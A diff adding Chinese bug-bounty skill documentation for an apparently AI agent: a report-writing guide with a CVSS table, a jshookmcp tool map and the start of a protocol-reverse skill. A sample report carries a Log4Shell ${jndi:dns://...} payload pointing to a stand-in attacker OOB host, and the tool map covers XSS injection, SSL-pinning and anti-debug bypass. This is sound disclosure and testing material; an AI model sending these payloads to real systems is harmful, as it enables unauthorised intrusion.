├── 01-poc-screenshot.png # 漏洞总览截图
|
|
178
|
+
├── 02-burp-flow.png # Burp 流量截图
|
|
179
|
+
├── 03-recording.mp4 # 30s–2min 录屏(P0/P1 强烈建议)
|
|
180
|
+
├── 04-poc.py # 复现脚本(如有)
|
|
181
|
+
├── 05-dns-log.txt # OOB 平台日志(SSRF / RCE 必备)
|
|
182
|
+
└── 06-cvss-calc.png # CVSS 计算器截图
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## 4. CVSS 速查表(按漏洞类型预填)
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
未授权 RCE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
191
|
+
认证后 RCE AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
|
|
192
|
+
未授权 SQLi(拖库) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
|
|
193
|
+
认证 SQLi AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1
|
|
194
|
+
未授权数据导出 / IDOR AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
|
195
|
+
任意文件读 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
|
196
|
+
任意文件写 → RCE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
197
|
+
未授权 SSRF + 元数据 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
198
|
+
JWT alg=none / 伪造 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
199
|
+
垂直越权(提权 admin) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
|
|
200
|
+
水平越权(IDOR) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
|
|
201
|
+
密码重置接管 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
|
|
202
|
+
价格篡改 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
|
|
203
|
+
存储 XSS(管理后台) AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
|
|
204
|
+
反射 XSS AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
|
|
205
|
+
开放重定向 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N = 4.7
|
|
206
|
+
.git 泄露 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
|
207
|
+
.env 泄露生产凭据 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
208
|
+
默认凭据后台 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
209
|
+
HTTP smuggling AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N = 9.0
|
|
210
|
+
竞态金融超扣 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
## 5. 不同平台的格式调整
|
|
216
|
+
|
|
217
|
+
### HackerOne
|
|
218
|
+
|
|
219
|
+
- 标题用英文(除非项目允许中文)
|
|
220
|
+
- Severity 选 None / Low / Medium / High / Critical
|
|
221
|
+
- Asset 必须从下拉选择
|
|
222
|
+
- 复现包用 H1 的 attachment 上传
|
|
223
|
+
- Triager 看不懂中文 → 关键信息双语
|
|
224
|
+
|
|
225
|
+
### Bugcrowd
|
|
226
|
+
|
|
227
|
+
- 用 VRT 分类(Server-Side Injection / Authentication / ...)
|
|
228
|
+
- VRT 分级 P1–P5 对应赏金区间
|
|
229
|
+
- attachment 支持 + Markdown 友好
|
|
230
|
+
|
|
231
|
+
### 补天 / 漏洞盒子
|
|
232
|
+
|
|
233
|
+
- 中文 OK
|
|
234
|
+
- 漏洞类型按平台分类下拉
|
|
235
|
+
- 通用型 vs 事件型,通用型走 CNVD/CNNVD 编号
|
|
236
|
+
- 复现 PoC 必须脱敏
|
|
237
|
+
|
|
238
|
+
### CNVD
|
|
239
|
+
|
|
240
|
+
- 通用型:厂商联系方式、影响范围、可复现 PoC
|
|
241
|
+
- 事件型:URL、抓包、复现步骤
|
|
242
|
+
- 所有真实 IP / 域名 / 数据必须脱敏
|
|
243
|
+
|
|
244
|
+
---
|
|
245
|
+
|
|
246
|
+
## 6. 报告语气
|
|
247
|
+
|
|
248
|
+
DO:
|
|
249
|
+
- 客观、可复现、可量化
|
|
250
|
+
- 主动说"我没做什么"
|
|
251
|
+
- 提具体修复建议("在第 N 行加 PreparedStatement")
|
|
252
|
+
- 留联系方式以便复测
|
|
253
|
+
|
|
254
|
+
DON'T:
|
|
255
|
+
- 威胁 / 索赔 / 公开 / 媒体压力
|
|
256
|
+
- "你们公司安全做得真烂"
|
|
257
|
+
- "如果不修我就发推"
|
|
258
|
+
- 多漏洞硬塞一篇报告(每个独立漏洞独立提交)
|
|
259
|
+
|
|
260
|
+
---
|
|
261
|
+
|
|
262
|
+
## 7. 跟进流程
|
|
263
|
+
|
|
264
|
+
```
|
|
265
|
+
提交(Day 0)
|
|
266
|
+
↓
|
|
267
|
+
Triage(1–7 天):审核员判断"有效 / 需更多信息 / 重复 / 拒收"
|
|
268
|
+
↓
|
|
269
|
+
Resolved(1–60 天):开发修复
|
|
270
|
+
↓
|
|
271
|
+
赏金(修复后或 triage 后)
|
|
272
|
+
↓
|
|
273
|
+
Disclosure(默认 90 天后或厂商同意)
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
被 closed-as-duplicate / 信息不全:
|
|
277
|
+
|
|
278
|
+
- 用 Burp 的 raw HTTP 请求重发证明
|
|
279
|
+
- 提供新的 IP / 时间戳 / 不同测试账号
|
|
280
|
+
- 不要重复提交(封号风险)
|
|
281
|
+
|
|
282
|
+
被 closed-as-N/A / Out of scope:
|
|
283
|
+
|
|
284
|
+
- 仔细看 program policy
|
|
285
|
+
- 必要时礼貌申诉,附 scope 解读
|
|
286
|
+
- 不要刷分
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## 8. 一份完整骨架(可直接复制改)
|
|
291
|
+
|
|
292
|
+
```markdown
|
|
293
|
+
# [Critical][未授权][RCE] /api/v1/import - 单包 ${jndi:} 打穿
|
|
294
|
+
|
|
295
|
+
## 漏洞概要
|
|
296
|
+
- 类型:JNDI 注入 (Log4Shell 类)
|
|
297
|
+
- 位置:POST /api/v1/import 的 X-Api-Version Header
|
|
298
|
+
- 严重程度:Critical
|
|
299
|
+
- CVSS:9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
|
300
|
+
- 先决条件:无(公开端点)
|
|
301
|
+
- 影响:远程代码执行,无需认证
|
|
302
|
+
|
|
303
|
+
## 环境
|
|
304
|
+
- 测试时间:2025-05-09 14:30 UTC
|
|
305
|
+
- 攻击者 OOB:abc.attacker-oob.cc(研究员控制)
|
|
306
|
+
|
|
307
|
+
## 复现步骤
|
|
308
|
+
|
|
309
|
+
### Step 1:发送注入 Payload
|
|
310
|
+
|
|
311
|
+
POST /api/v1/import HTTP/1.1
|
|
312
|
+
Host: target.com
|
|
313
|
+
X-Api-Version: ${jndi:dns://test.abc.attacker-oob.cc/a}
|
|
314
|
+
|
|
315
|
+
### Step 2:验证 OOB 触发
|
|
316
|
+
|
|
317
|
+
DNS log(attacker-oob.cc 后台):
|
|
318
|
+
2025-05-09 14:30:42 UTC | source 3.x.x.x | query test.abc.attacker-oob.cc
|
|
319
|
+
|
|
320
|
+
source IP 3.x.x.x 经反查为 target.com 的出口 IP。
|
|
321
|
+
|
|
322
|
+
### Step 3:5 次复现稳定性
|
|
323
|
+
全部成功,平均触发延时 < 1s。
|
|
324
|
+
|
|
325
|
+
## 影响
|
|
326
|
+
1. 远程代码执行(基于 Log4Shell 经典 chain)
|
|
327
|
+
2. 完整服务器控制
|
|
328
|
+
3. 可读取 /etc/passwd、配置文件、AWS 元数据等
|
|
329
|
+
|
|
330
|
+
## 我未做的事
|
|
331
|
+
- 未实际加载远程类 / 反弹 shell
|
|
332
|
+
- 仅 DNS 外带证明触发
|
|
333
|
+
- 未读取任何配置文件
|
|
334
|
+
|
|
335
|
+
## 修复建议
|
|
336
|
+
1. 立即升级 log4j-core 至 2.17.1+
|
|
337
|
+
2. 设置 -Dlog4j2.formatMsgNoLookups=true
|
|
338
|
+
3. 部署 WAF 规则拦截 ${jndi: 模式
|
|
339
|
+
|
|
340
|
+
## 附件
|
|
341
|
+
- 01-burp-poc.png(请求 + 响应)
|
|
342
|
+
- 02-dns-log.png(OOB 日志)
|
|
343
|
+
- 03-recording.mp4(2 分钟录屏)
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
---
|
|
@@ -0,0 +1,174 @@
|
|
|
1
|
+
# MCP 工具集成 — jshookmcp
|
|
2
|
+
|
|
3
|
+
> 本文档是 src-hunter skill 调用本地 MCP 服务器的工具地图。
|
|
4
|
+
|
|
5
|
+
src-hunter 是黑盒漏洞挖掘 skill,默认假设你只有一个 URL,没有源码、没有内部信息。jshookmcp 把浏览器自动化、CDP 调试、网络拦截、JS hook、反混淆、Frida 内存取证、WASM 逆向、Source map 重构整合到一个 MCP server 中,直接服务于 hunt 阶段的"看代码 / 跑 payload / 拦数据 / 反调试 / 反混淆"五件事。
|
|
6
|
+
|
|
7
|
+
工具引用使用 `mcp__jshook__<tool>` 完整 MCP 协议命名。所有工具名以 `.omc/tool-manifest.json`(jshookmcp 0.3.0 实际 `search_tools` 返回值)为准,**不臆造**。
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
## 36 域索引
|
|
11
|
+
|
|
12
|
+
jshookmcp 把 134+ 工具分布在 36 个 capability domain 中。下表标注每域核心用途与代表工具(BARE 名,实际调用时加 `mcp__jshook__` 前缀)。
|
|
13
|
+
|
|
14
|
+
| 域名 | 何时用 | 代表工具 |
|
|
15
|
+
|---|---|---|
|
|
16
|
+
| `adb-bridge` | Android 设备 ADB 桥接 / APK 分析 / WebView 远调 | `adb_apk_analyze` / `adb_webview_attach` / `adb_webview_list` |
|
|
17
|
+
| `antidebug` | 绕过 debugger / timing / headless 指纹检测 | `antidebug_bypass` |
|
|
18
|
+
| `binary-instrument` | Frida 脚本生成 / Ghidra 反编译 / hook 模板导出 | `frida_run_script` / `generate_hooks` / `ghidra_decompile` / `frida_generate_script` |
|
|
19
|
+
| `boringssl-inspector` | TLS 握手解析 / SSL pinning 绕过 / SSLKEYLOGFILE | `tls_cert_pin_bypass_frida` / `tls_keylog_enable` / `tls_probe_endpoint` |
|
|
20
|
+
| `browser` | 浏览器自动化 / CDP 评估 / 反检测 stealth | `browser_evaluate_cdp_target` / `page_evaluate` / `stealth_inject` |
|
|
21
|
+
| `canvas` | Canvas / WebGL 引擎指纹与对象拾取 | `canvas_engine_fingerprint` / `canvas_pick_object_at_point` |
|
|
22
|
+
| `coordination` | 跨任务 handoff / 页面快照 / session insight | `save_page_snapshot` / `create_task_handoff` / `get_task_context` |
|
|
23
|
+
| `core` | 代码采集 / 反混淆主管线 / hook 管理 / 加密检测 | `collect_code` / `deobfuscate` / `js_deobfuscate_pipeline` / `detect_crypto` |
|
|
24
|
+
| `cross-domain` | 跨域证据图聚合 / 工作流建议 | `cross_domain_correlate_all` / `cross_domain_suggest_workflow` |
|
|
25
|
+
| `debugger` | JS 断点 / 单步 / 表达式求值 / blackbox | `debugger_evaluate` / `debugger_pause` / `debugger_step` / `blackbox_add_common` |
|
|
26
|
+
| `encoding` | base64 / protobuf / 二进制编解码 | `binary_encode` / `binary_decode` / `protobuf_decode_raw` |
|
|
27
|
+
| `evidence` | 反向证据图查询 / 导出 / provenance 链 | `evidence_query` / `evidence_export` / `evidence_chain` |
|
|
28
|
+
| `extension-registry` | webhook 端点管理(外部回调) | `webhook` |
|
|
29
|
+
| `graphql` | GraphQL introspection / 查询提取 / 重放 | `graphql_introspect` / `graphql_extract_queries` / `graphql_replay` |
|
|
30
|
+
| `hooks` | JS 运行时 hook preset(eval/atob/Reflect 等 20+) | `hook_preset` / `ai_hook` |
|
|
31
|
+
| `instrumentation` | 仪表化 session 内的 hook / 网络重放 / artifact | `instrumentation_hook_preset` / `instrumentation_network_replay` |
|
|
32
|
+
| `macro` | 录制 / 重放工具调用序列 | `run_macro` / `list_macros` |
|
|
33
|
+
| `maintenance` | 环境健康检查 / bridge 端点诊断 | `doctor_environment` |
|
|
34
|
+
| `memory` | 进程内存 patch 回滚(配合 Frida) | `memory_patch_undo` |
|
|
35
|
+
| `mojo-ipc` | Chromium Mojo IPC 监听 / 解码 | `mojo_monitor` / `mojo_messages_get` / `mojo_decode_message` |
|
|
36
|
+
| `network` | 请求拦截 / 重放 / HAR / HTTP2 / 性能指标 | `network_intercept` / `network_replay_request` / `http2_probe` / `network_extract_auth` |
|
|
37
|
+
| `platform` | Electron / ASAR 应用分析 / fuse 状态 | `electron_inspect_app` / `electron_ipc_sniff` / `asar_search` |
|
|
38
|
+
| `process` | 进程级 CDP 附加(Electron 等) | `electron_attach` |
|
|
39
|
+
| `protocol-analysis` | 协议状态机推断 / ICMP / 模式可视化 | `proto_infer_state_machine` / `icmp_echo_build` / `proto_visualize_state` |
|
|
40
|
+
| `proxy` | 本地代理启停 / CA 管理 / Android 接入 | `proxy_setup_adb_device` / `proxy_status` / `proxy_stop` |
|
|
41
|
+
| `sandbox` | QuickJS WASM 沙箱内执行 JS | `execute_sandbox_script` |
|
|
42
|
+
| `shared-state-board` | 多 agent 共享状态板(观察 + IO) | `state_board` / `state_board_watch` / `state_board_io` |
|
|
43
|
+
| `skia-capture` | Skia 场景树提取 / 渲染器探测 / 节点关联 | `skia_extract_scene` / `skia_detect_renderer` |
|
|
44
|
+
| `sourcemap` | source map 抓取 / 解析 / 源码树重建 | `sourcemap_fetch_and_parse` / `sourcemap_reconstruct_tree` / `sourcemap_parse_v4` |
|
|
45
|
+
| `streaming` | WebSocket 连接与帧捕获 | `ws_monitor` / `ws_get_connections` |
|
|
46
|
+
| `syscall-hook` | 进程级 syscall 监听(ETW / strace / dtrace) | `syscall_start_monitor` / `syscall_get_stats` |
|
|
47
|
+
| `trace` | SQLite trace 录制 / 网络流追踪 / Chrome Trace 导出 | `trace_recording` / `trace_get_network_flow` / `export_trace` |
|
|
48
|
+
| `transform` | AST 改写 / 加密函数提取 / 实现对比 | `ast_transform_apply` / `crypto_extract_standalone` / `crypto_compare` |
|
|
49
|
+
| `v8-inspector` | V8 字节码提取 / 版本探测 | `v8_bytecode_extract` / `v8_version_detect` |
|
|
50
|
+
| `wasm` | WebAssembly disasm / decompile / 内存 / 反混淆探测 | `wasm_disassemble` / `wasm_decompile` / `wasm_dump` / `wasm_detect_obfuscation` |
|
|
51
|
+
| `workflow` | 扩展工作流 / API 批探测 / 远 bundle 搜索 | `js_bundle_search` / `api_probe_batch` / `run_extension_workflow` |
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## 场景 → 工具映射表
|
|
56
|
+
|
|
57
|
+
这是本文档的核心。把 SRC hunt 阶段常见动作对应到 jshook 工具,标注关联 src-hunter playbook 与调用时机。
|
|
58
|
+
|
|
59
|
+
| 场景 | 漏洞类型 | 推荐工具(`mcp__jshook__*`) | 关联 playbook | 调用时机 |
|
|
60
|
+
|---|---|---|---|---|
|
|
61
|
+
| 拦截外发请求 / 观察 SSRF | SSRF | `mcp__jshook__network_intercept` + `mcp__jshook__network_get_requests` | ssrf-cache-host.md | 探测阶段被动观察 |
|
|
62
|
+
| 构造 HTTP/2 帧探测内网 | SSRF | `mcp__jshook__http2_probe` + `mcp__jshook__http_request_build` | ssrf-cache-host.md | 主动绕过过滤 |
|
|
63
|
+
| 重放修改 SSRF 请求 | SSRF | `mcp__jshook__network_replay_request` | ssrf-cache-host.md | 验证不同协议 / 主机头 |
|
|
64
|
+
| 浏览器执行 XSS payload | XSS | `mcp__jshook__browser_evaluate_cdp_target` + `mcp__jshook__page_evaluate` | xss.md | 验证盲打 / DOM XSS |
|
|
65
|
+
| XSS payload 注入页面 | XSS | `mcp__jshook__page_inject_script` | xss.md | 持久化注入 |
|
|
66
|
+
| 反混淆混淆 JS / AST 改写 | XSS / RCE | `mcp__jshook__ast_transform_apply` + `mcp__jshook__deobfuscate` | xss.md / rce.md | 分析 obfuscated 业务代码 |
|
|
67
|
+
| JSVMP / VM 保护 JS 反混淆 | XSS / RCE | `mcp__jshook__js_deobfuscate_jsvmp` + `mcp__jshook__js_deobfuscate_pipeline` | xss.md / rce.md | 高强度混淆站 |
|
|
68
|
+
| Source map 还原原始源码 | 信息泄露 / XSS | `mcp__jshook__sourcemap_fetch_and_parse` + `mcp__jshook__sourcemap_reconstruct_tree` | xss.md | 找 sink / 找接口 |
|
|
69
|
+
| Webpack bundle 模块枚举 | 信息泄露 | `mcp__jshook__webpack_enumerate` + `mcp__jshook__js_bundle_search` | xss.md | 找前端密钥 / 内部 API |
|
|
70
|
+
| 加密算法识别 / 提取 | OAuth / XSS / API | `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | oauth-saml-jwt.md / xss.md | 还原签名逻辑 |
|
|
71
|
+
| eval / atob / Function preset hook | XSS / RCE | `mcp__jshook__hook_preset` | xss.md / rce.md | 找运行时反序列化 sink |
|
|
72
|
+
| 设置 DOM 断点 / 单步追 sink | XSS | `mcp__jshook__debugger_pause` + `mcp__jshook__debugger_step` + `mcp__jshook__get_call_stack` | xss.md | DOM XSS 数据流追踪 |
|
|
73
|
+
| WASM 模块抓取与反汇编 | RCE | `mcp__jshook__wasm_dump` + `mcp__jshook__wasm_disassemble` + `mcp__jshook__wasm_decompile` | rce.md | WASM 业务逻辑逆向 |
|
|
74
|
+
| WASM 反混淆探测 / 转 C | RCE | `mcp__jshook__wasm_detect_obfuscation` + `mcp__jshook__wasm_to_c` | rce.md | 加密 / 风控核心 |
|
|
75
|
+
| Frida 脚本生成与注入 | RCE | `mcp__jshook__generate_hooks` + `mcp__jshook__frida_run_script` | rce.md | 验证 RCE 落点 |
|
|
76
|
+
| Frida hook 导出可运行脚本 | RCE | `mcp__jshook__export_hook_script` | rce.md | 离线复测 |
|
|
77
|
+
| Ghidra 函数反编译 | RCE | `mcp__jshook__ghidra_decompile` | rce.md | 二进制反序列化场景 |
|
|
78
|
+
| 反调试 / debugger 检测绕过 | XSS / RCE / Mobile | `mcp__jshook__antidebug_bypass` | xss.md / rce.md / mobile.md | 目标主动反调试 |
|
|
79
|
+
| Android APK 信息提取 | Mobile | `mcp__jshook__adb_apk_analyze` | mobile.md | 静态分析前置 |
|
|
80
|
+
| Android WebView 远调 | Mobile | `mcp__jshook__adb_webview_attach` + `mcp__jshook__adb_webview_list` | mobile.md | App 内嵌 H5 |
|
|
81
|
+
| SSL pinning 绕过 (Frida) | Mobile | `mcp__jshook__tls_cert_pin_bypass_frida` + `mcp__jshook__tls_cert_pin_bypass` | mobile.md | APK 拦截前置 |
|
|
82
|
+
| SSLKEYLOGFILE 抓密钥 | Mobile / API | `mcp__jshook__tls_keylog_enable` + `mcp__jshook__tls_keylog_parse` | mobile.md / oauth-saml-jwt.md | 对接 Wireshark 解密 |
|
|
83
|
+
| 安卓代理接入 | Mobile | `mcp__jshook__proxy_setup_adb_device` + `mcp__jshook__proxy_status` | mobile.md | 流量观察前置 |
|
|
84
|
+
| JWT / token 抽取 | OAuth/SAML/JWT | `mcp__jshook__network_extract_auth` | oauth-saml-jwt.md | 自动找 Authorization / cookie |
|
|
85
|
+
| JWT base64 编解码 | OAuth/SAML/JWT | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | oauth-saml-jwt.md | 篡改 header / payload |
|
|
86
|
+
| redirect_uri 链路调试 | OAuth | `mcp__jshook__debugger_evaluate` + `mcp__jshook__network_replay_request` | oauth-saml-jwt.md | 找 open redirect |
|
|
87
|
+
| GraphQL introspection | API REST | `mcp__jshook__graphql_introspect` | api-rest.md | 资产展开 |
|
|
88
|
+
| GraphQL 历史查询提取 | API REST | `mcp__jshook__graphql_extract_queries` + `mcp__jshook__graphql_replay` | api-rest.md | 重放业务请求 |
|
|
89
|
+
| REST 批量接口探测 | API REST | `mcp__jshook__api_probe_batch` | api-rest.md | 批量 BOLA / mass-assignment |
|
|
90
|
+
| WebSocket 帧捕获 | API REST | `mcp__jshook__ws_monitor` + `mcp__jshook__ws_get_connections` | api-rest.md | 实时业务 / 推送 |
|
|
91
|
+
| 文件上传 polyglot 编码 | File Upload | `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | file-upload.md | 构造图片+脚本混合 |
|
|
92
|
+
| 文件上传 AST 改写绕过过滤 | File Upload | `mcp__jshook__ast_transform_apply` + `mcp__jshook__ast_transform_preview` | file-upload.md | 改 magic byte / 修复 polyglot |
|
|
93
|
+
| 文件上传 multipart 边界改 | File Upload | `mcp__jshook__http_plain_request` + `mcp__jshook__network_replay_request` | file-upload.md | 绕过 MIME 校验 |
|
|
94
|
+
| Protobuf 二进制盲解 | API REST / 信息泄露 | `mcp__jshook__protobuf_decode_raw` | api-rest.md | 无 schema 抓包分析 |
|
|
95
|
+
| Electron 应用静态结构 | RCE / 信息泄露 | `mcp__jshook__electron_inspect_app` + `mcp__jshook__asar_search` | rce.md | 桌面端目标 |
|
|
96
|
+
| Electron IPC 监听 | RCE | `mcp__jshook__electron_ipc_sniff` | rce.md | renderer ↔ main IPC 漏洞 |
|
|
97
|
+
| Chromium Mojo IPC 监听 | RCE | `mcp__jshook__mojo_monitor` + `mcp__jshook__mojo_messages_get` | rce.md | 浏览器内核漏洞研究 |
|
|
98
|
+
| 进程 syscall 监听 | RCE | `mcp__jshook__syscall_start_monitor` + `mcp__jshook__syscall_get_stats` | rce.md | 验证 RCE 后行为 |
|
|
99
|
+
| 协议状态机推断 | API / 信息泄露 | `mcp__jshook__proto_infer_state_machine` + `mcp__jshook__proto_visualize_state` | api-rest.md | 自定义协议逆向 |
|
|
100
|
+
| 全流量 trace 持久化 | 调查 / 报告 | `mcp__jshook__trace_recording` + `mcp__jshook__export_trace` | 所有 playbook | 留证 / 时间线复盘 |
|
|
101
|
+
| 反检测 stealth 注入 | 长期挂测 | `mcp__jshook__stealth_inject` + `mcp__jshook__stealth_verify` | xss.md / api-rest.md | 风控站长期观察 |
|
|
102
|
+
| 跨域证据聚合 | 调查 | `mcp__jshook__cross_domain_correlate_all` + `mcp__jshook__evidence_export` | 所有 playbook | 多源对齐 / 出报告 |
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## 推荐 profile
|
|
107
|
+
|
|
108
|
+
jshookmcp 提供三档 profile,通过环境变量 `JSHOOK_BASE_PROFILE` 或工具调用切换。**默认 `search` 模式**,符合 src-hunter 上下文经济原则。
|
|
109
|
+
|
|
110
|
+
| Profile | 上下文成本(token) | 适用场景 | 启用方式 |
|
|
111
|
+
|---|---|---|---|
|
|
112
|
+
| `search` (**默认**) | ~3K | 按需激活,单点调用,常态 SRC hunt | `JSHOOK_BASE_PROFILE=search`(已是默认值) |
|
|
113
|
+
| `workflow` | 中等 | 连续编排,跨域协作,1 个 session 多次复用同类工具 | 调 `mcp__jshook__boost_profile workflow`(若可用) |
|
|
114
|
+
| `full` | 40K+ | 已知会用 50%+ 工具时,如大型批量任务 | 调 `mcp__jshook__boost_profile full` |
|
|
115
|
+
|
|
116
|
+
**默认推荐工作流**:
|
|
117
|
+
|
|
118
|
+
1. `mcp__jshook__search_tools <关键词>`(BM25 检索,按 hunt 关键词分桶)
|
|
119
|
+
2. 取 top-3 结果,`mcp__jshook__activate_tools <工具名 list>` 激活
|
|
120
|
+
3. 调用激活的工具
|
|
121
|
+
4. 跨域协作时:`mcp__jshook__activate_domain <域名>` 批量激活整域
|
|
122
|
+
|
|
123
|
+
**反模式**:不要为单个工具直接 `boost_profile`,会一次性加载 40K+ token 严重浪费上下文。只在已知后续要密集复用某一族工具时升档。
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## 内置 Burp Suite Bridge
|
|
128
|
+
|
|
129
|
+
⚠️ **本机实测说明**:`mcp__jshook__search_tools burp` 在 jshookmcp 0.3.0 本机版本上**未返回**任何 `burp_*` 原子工具,仅命中:
|
|
130
|
+
|
|
131
|
+
- `doctor_environment`(maintenance 域,描述中提到"bridge endpoints"健康检查)
|
|
132
|
+
- 通用 `proxy_*` 工具(proxy 域,启停 / 状态 / CA 管理)
|
|
133
|
+
|
|
134
|
+
jshookmcp 上游 README 声明内置 Burp / Ghidra / IDA Pro bridges,但 0.3.0 当前版本未将 Burp 桥接拆为独立原子工具暴露。
|
|
135
|
+
|
|
136
|
+
**实用替代路径(R8 fallback)**:
|
|
137
|
+
|
|
138
|
+
1. **激活 proxy + cross-domain 两域**:
|
|
139
|
+
```
|
|
140
|
+
mcp__jshook__activate_domain proxy
|
|
141
|
+
mcp__jshook__activate_domain cross-domain
|
|
142
|
+
```
|
|
143
|
+
2. **用 `proxy_*` 启动本地代理 + CA**,把 Burp 配置为上游 proxy 链或反向接入。
|
|
144
|
+
3. **用 `mcp__jshook__doctor_environment` 检查 bridge 端点状态**,若 jshook 后续版本暴露 Burp 桥接 API,会在此显现。
|
|
145
|
+
4. **用 `network_*` + `instrumentation_network_replay` 替代 Burp Repeater 自动化**:`network_replay_request` 已能完成大多数 Repeater 场景的批量改包。
|
|
146
|
+
5. **结合 `evidence_*` / `cross_domain_correlate_all`**:把 jshook 抓的请求与外部 Burp 数据通过 evidence 图人工合并(导出 JSON 后再聚合)。
|
|
147
|
+
|
|
148
|
+
**何时仍需独立 burp-mcp-server**:
|
|
149
|
+
|
|
150
|
+
- 需要 Burp Scanner 主动扫描结果直接进 LLM
|
|
151
|
+
- 需要 Burp Extender 写的自定义 scan check 触发
|
|
152
|
+
- Repeater 复杂 macro / session handling rule 联动
|
|
153
|
+
|
|
154
|
+
如上述场景需要,可在 `~/.claude.json` 单独注册 burp 官方 MCP(out of scope of this doc),并在 `references/tools/mcp-burp.md`(未来)中文档化。
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 相关 src-hunter playbook
|
|
159
|
+
|
|
160
|
+
下表是本 MCP 在 src-hunter 19 个 playbook 中的角色分布。**本次主选 7 个高关联 playbook 加反向锚点**,其余 12 个本次不动(见 `.omc/plans/mcp-tools-integration.md` ADR Follow-ups,sqli / path-traversal / graphql 计划下次迭代加入)。
|
|
161
|
+
|
|
162
|
+
| Playbook | jshook 主要域 | 本 MCP 角色 |
|
|
163
|
+
|---|---|---|
|
|
164
|
+
| [xss.md](../playbooks/xss.md) | browser / debugger / transform / hooks / sourcemap / core | 浏览器执行 + AST 反混淆 + Sink 断点 + Source map 还原 |
|
|
165
|
+
| [rce.md](../playbooks/rce.md) | wasm / antidebug / binary-instrument / memory / platform / mojo-ipc / syscall-hook | WASM 逆向 + Frida 内存验证 + 反调试 + Electron / Chromium IPC |
|
|
166
|
+
| [ssrf-cache-host.md](../playbooks/ssrf-cache-host.md) | network / proxy / protocol-analysis | 网络拦截 + HTTP/2 构造 + 协议状态机推断 |
|
|
167
|
+
| [mobile.md](../playbooks/mobile.md) | adb-bridge / boringssl-inspector / proxy / binary-instrument | SSL pinning 绕过 + APK 信息 + WebView 远调 + Frida hook |
|
|
168
|
+
| [oauth-saml-jwt.md](../playbooks/oauth-saml-jwt.md) | network / encoding / debugger / core | JWT 篡改 + redirect_uri 调试 + 加密算法识别 |
|
|
169
|
+
| [api-rest.md](../playbooks/api-rest.md) | graphql / network / workflow / streaming / protocol-analysis | introspection + 批量 API + WebSocket 帧 + 协议盲解 |
|
|
170
|
+
| [file-upload.md](../playbooks/file-upload.md) | encoding / transform / network | polyglot 编码 + AST 改写 + multipart 改包 |
|
|
171
|
+
|
|
172
|
+
**未覆盖 playbook**(下次迭代加入):sqli / path-traversal / graphql / arbitrary-x-authz / logic-flaws / unauth-access / info-disclosure / http-smuggling / race-conditions / dos / llm-prompt-injection / intranet-postexp。
|
|
173
|
+
|
|
174
|
+
---
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: protocol-reverse
|
|
3
|
+
description: "Authorized reverse engineering of custom binary protocols, Protobuf/gRPC schemas, WebSocket frames, and PCAP-driven protocol recovery."
|
|
4
|
+
risk: safe
|
|
5
|
+
source: "https://github.com/zhaoxuya520/reverse-skill"
|
|
6
|
+
source_repo: "zhaoxuya520/reverse-skill"
|
|
7
|
+
source_type: community
|
|
8
|
+
date_added: "2026-08-25"
|
|
9
|
+
license: "MIT"
|
|
10
|
+
license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
|
|
11
|
+
---
|
|
12
|
+
# Protocol Reverse Engineering
|
|
13
|
+
## When to Use
|
|
14
|
+
|
|
15
|
+
- Documenting an undocumented wire protocol from captures.
|
|
16
|
+
- Decoding structured traffic during an authorized analysis.
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
## 适用场景
|
|
20
|
+
|
|
21
|
+
- 自定义 TCP/UDP 二进制协议
|
|
22
|
+
- Protobuf / gRPC / FlatBuffers / MessagePack
|
|
23
|
+
- WebSocket / MQTT / 私有 RPC
|
|
24
|
+
- PCAP / PCAPNG 还原字段与状态机
|
|
25
|
+
- 客户端-服务端校验、序列号、加密帧头
|
|
26
|
+
|
|
27
|
+
## 不走本 skill
|
|
28
|
+
|
|
29
|
+
| 情况 | 去哪 |
|
|
30
|
+
|------|------|
|
